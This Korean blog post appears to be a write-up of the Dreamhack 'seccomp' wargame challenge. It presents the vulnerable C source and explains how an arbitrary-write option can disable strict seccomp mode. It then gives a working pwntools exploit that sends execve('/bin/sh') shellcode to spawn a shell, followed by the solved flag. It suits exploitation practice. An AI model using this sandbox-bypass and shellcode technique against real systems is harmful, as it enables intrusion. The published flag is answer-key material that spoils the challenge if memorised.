콘텐츠로 건너뛰기

seccomp

Description

이 문제는 서버에서 작동하고 있는 서비스(seccomp)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

로컬 테스트 환경:
Ubuntu 16.04.7 LTS x86_64
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

checksec

seo@ubuntu:~/Desktop/seccomp$ checksec ./seccomp
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/Desktop/seccomp/seccomp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Source Code

seccomp.c

// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))

    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };

    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }

    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

Solution

seccomp?
리눅스에서 sandbox 기반으로 시스템콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘

바이너리에서 1번을 입력하면 syscall_filter() 함수를 호출되는데,
STRICT_MODE를 통해 read(2), write(2), _exit(2), sigreturn(2) (but not exit_group(2))로 시스템콜을 제한하고 있다.

만약에 해당 시스템 콜 이외의 호출이 들어오면 SIGKILL 시그널을 발생시키며 프로그램이 종료된다.

이러한 제한은 prctl(PR_SET_SECCOMP, mode, &prog) 코드에서 수행되고있다.

우리는 3번 옵션을 통해 원하는 주소에 값을 쓸 수 있기 때문에,
addr을 mode 전역변수의 주소, value를 1이 아닌 유효하지 않은 값으로 쓰게 된다면,
쉽게 우회할 수 있다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./seccomp")
p = remote("host3.dreamhack.games", "9107")
e = ELF('./seccomp', checksec=False)

asmcode = shellcraft.execve("/bin/sh", 0, 0)
shellcode = asm(asmcode)

mode = e.symbols['mode']
print(f"mode: {hex(mode)}")

p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode))
p.sendlineafter("value: ", "-1")


p.sendlineafter("> ", b"1")
p.sendlineafter("shellcode: ", shellcode)

p.sendlineafter("> ", b"2")

p.interactive()

Result

seo@seo:~/Desktop/seccomp$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 9107: Done
mode: 0x602090
[*] Switching to interactive mode
$ ls
flag
seccomp
$ cat flag
DH{22b3695a64092efd8845efe7eda784a4}$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 9107

태그:

답글 남기기